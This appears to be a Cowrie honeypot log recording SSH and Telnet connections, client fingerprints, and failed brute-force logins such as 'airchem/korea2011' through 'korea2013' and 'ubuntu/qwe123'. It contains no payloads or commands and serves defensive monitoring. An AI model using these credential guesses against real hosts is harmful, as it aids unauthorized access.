{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33136,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6cfd9279656","protocol":"ssh","message":"New connection: 159.203.92.129:33136 (159.203.135.109:22) [session: c6cfd9279656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:23.031296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:23.036048Z","src_ip":"159.203.92.129","session":"c6cfd9279656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:23.040871Z","src_ip":"159.203.92.129","session":"c6cfd9279656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airchem","password":"korea2011","message":"login attempt [airchem/korea2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:23.053521Z","src_ip":"159.203.92.129","session":"c6cfd9279656","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:24.060403Z","src_ip":"159.203.92.129","session":"c6cfd9279656","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.64405846595764,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:34.328489Z","src_ip":"5.61.90.139","session":"414313d95503","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.64463472366333,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:36.323731Z","src_ip":"5.61.90.139","session":"14897493a9ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.432772397994995,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:37.258124Z","src_ip":"5.61.90.139","session":"b38efbd2c69a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59102,"dst_ip":"10.17.0.5","dst_port":23,"session":"68be1c715ac3","protocol":"telnet","message":"New connection: 5.61.90.139:59102 (10.17.0.5:23) [session: 68be1c715ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:41.718663Z"}
{"eventid":"cowrie.session.closed","duration":45.77568221092224,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:50.715254Z","src_ip":"5.61.90.139","session":"240570cd4e2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59110,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b89f3188c26","protocol":"telnet","message":"New connection: 5.61.90.139:59110 (10.17.0.5:23) [session: 3b89f3188c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:54.789837Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59112,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6b47dc7f6e3","protocol":"telnet","message":"New connection: 5.61.90.139:59112 (10.17.0.5:23) [session: e6b47dc7f6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:55.132523Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":38700,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c8ed352bae8","protocol":"ssh","message":"New connection: 80.253.31.232:38700 (159.203.135.109:22) [session: 9c8ed352bae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:55.501698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:55.506150Z","src_ip":"80.253.31.232","session":"9c8ed352bae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:55.625765Z","src_ip":"80.253.31.232","session":"9c8ed352bae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:56.137093Z","src_ip":"80.253.31.232","session":"9c8ed352bae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.49600076675415,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:56.943535Z","src_ip":"5.61.90.139","session":"8dd956911535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:57.257707Z","src_ip":"80.253.31.232","session":"9c8ed352bae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.584935903549194,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:02.517610Z","src_ip":"5.61.90.139","session":"fe34f9c96c80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59124,"dst_ip":"10.17.0.5","dst_port":23,"session":"94377c2626d9","protocol":"telnet","message":"New connection: 5.61.90.139:59124 (10.17.0.5:23) [session: 94377c2626d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:02.638794Z"}
{"eventid":"cowrie.session.closed","duration":43.38568639755249,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:02.789344Z","src_ip":"5.61.90.139","session":"d38a2bea8feb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.13402462005615,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:04.861426Z","src_ip":"5.61.90.139","session":"b5a3531df917","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59128,"dst_ip":"10.17.0.5","dst_port":23,"session":"c55bf7d4f3f0","protocol":"telnet","message":"New connection: 5.61.90.139:59128 (10.17.0.5:23) [session: c55bf7d4f3f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:05.737166Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57356,"dst_ip":"159.203.135.109","dst_port":22,"session":"fce5df6896b9","protocol":"ssh","message":"New connection: 159.203.92.129:57356 (159.203.135.109:22) [session: fce5df6896b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:05.758309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:05.764088Z","src_ip":"159.203.92.129","session":"fce5df6896b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:05.768786Z","src_ip":"159.203.92.129","session":"fce5df6896b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airchem","password":"korea2012","message":"login attempt [airchem/korea2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:05.782027Z","src_ip":"159.203.92.129","session":"fce5df6896b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.870357513427734,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:06.142305Z","src_ip":"5.61.90.139","session":"5a269a1fc3fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59134,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e4f81b296e7","protocol":"telnet","message":"New connection: 5.61.90.139:59134 (10.17.0.5:23) [session: 1e4f81b296e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:06.285340Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:06.788381Z","src_ip":"159.203.92.129","session":"fce5df6896b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59154,"dst_ip":"10.17.0.5","dst_port":23,"session":"88319c8ae487","protocol":"telnet","message":"New connection: 5.61.90.139:59154 (10.17.0.5:23) [session: 88319c8ae487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:17.564324Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59158,"dst_ip":"10.17.0.5","dst_port":23,"session":"963588c22c34","protocol":"telnet","message":"New connection: 5.61.90.139:59158 (10.17.0.5:23) [session: 963588c22c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:17.933414Z"}
{"eventid":"cowrie.session.closed","duration":44.041537284851074,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:25.760101Z","src_ip":"5.61.90.139","session":"68be1c715ac3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59178,"dst_ip":"10.17.0.5","dst_port":23,"session":"4be223f95ce1","protocol":"telnet","message":"New connection: 5.61.90.139:59178 (10.17.0.5:23) [session: 4be223f95ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:27.525637Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59180,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cb84c9ea8e6","protocol":"telnet","message":"New connection: 5.61.90.139:59180 (10.17.0.5:23) [session: 3cb84c9ea8e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:27.677638Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59186,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4a0fefc3051","protocol":"telnet","message":"New connection: 5.61.90.139:59186 (10.17.0.5:23) [session: d4a0fefc3051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:28.579093Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59188,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4e8698a2dd2","protocol":"telnet","message":"New connection: 5.61.90.139:59188 (10.17.0.5:23) [session: b4e8698a2dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:28.722183Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59190,"dst_ip":"10.17.0.5","dst_port":23,"session":"37de52fa5a7a","protocol":"telnet","message":"New connection: 5.61.90.139:59190 (10.17.0.5:23) [session: 37de52fa5a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:28.942021Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59198,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d91d53efd52","protocol":"telnet","message":"New connection: 5.61.90.139:59198 (10.17.0.5:23) [session: 4d91d53efd52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:33.120700Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59202,"dst_ip":"10.17.0.5","dst_port":23,"session":"20cf26b783fa","protocol":"telnet","message":"New connection: 5.61.90.139:59202 (10.17.0.5:23) [session: 20cf26b783fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:34.200352Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59206,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f0e873bc51f","protocol":"telnet","message":"New connection: 5.61.90.139:59206 (10.17.0.5:23) [session: 4f0e873bc51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:35.433955Z"}
{"eventid":"cowrie.session.closed","duration":43.6641891002655,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:38.796570Z","src_ip":"5.61.90.139","session":"e6b47dc7f6e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.07204246520996,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:40.861775Z","src_ip":"5.61.90.139","session":"3b89f3188c26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.641493797302246,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:42.280203Z","src_ip":"5.61.90.139","session":"94377c2626d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.245139837265015,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:45.982184Z","src_ip":"5.61.90.139","session":"c55bf7d4f3f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.75165867805481,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:48.036883Z","src_ip":"5.61.90.139","session":"1e4f81b296e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50398,"dst_ip":"159.203.135.109","dst_port":22,"session":"79569711d2b2","protocol":"ssh","message":"New connection: 159.203.92.129:50398 (159.203.135.109:22) [session: 79569711d2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:48.383639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:48.391843Z","src_ip":"159.203.92.129","session":"79569711d2b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:48.396692Z","src_ip":"159.203.92.129","session":"79569711d2b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airchem","password":"korea2013","message":"login attempt [airchem/korea2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:48.416259Z","src_ip":"159.203.92.129","session":"79569711d2b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:49.422453Z","src_ip":"159.203.92.129","session":"79569711d2b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59248,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a0aa300e4ba","protocol":"telnet","message":"New connection: 5.61.90.139:59248 (10.17.0.5:23) [session: 4a0aa300e4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:49.873223Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59256,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ba1a9a91936","protocol":"telnet","message":"New connection: 5.61.90.139:59256 (10.17.0.5:23) [session: 5ba1a9a91936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:51.179619Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59262,"dst_ip":"10.17.0.5","dst_port":23,"session":"f15bdf33692a","protocol":"telnet","message":"New connection: 5.61.90.139:59262 (10.17.0.5:23) [session: f15bdf33692a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:52.908842Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59264,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbe5be108686","protocol":"telnet","message":"New connection: 5.61.90.139:59264 (10.17.0.5:23) [session: fbe5be108686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:53.351691Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59268,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f53417d0bf4","protocol":"telnet","message":"New connection: 5.61.90.139:59268 (10.17.0.5:23) [session: 4f53417d0bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:54.141476Z"}
{"eventid":"cowrie.session.closed","duration":38.67328357696533,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:28:56.606596Z","src_ip":"5.61.90.139","session":"963588c22c34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.728089332580566,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:29:00.292328Z","src_ip":"5.61.90.139","session":"88319c8ae487","protocol":"telnet"}
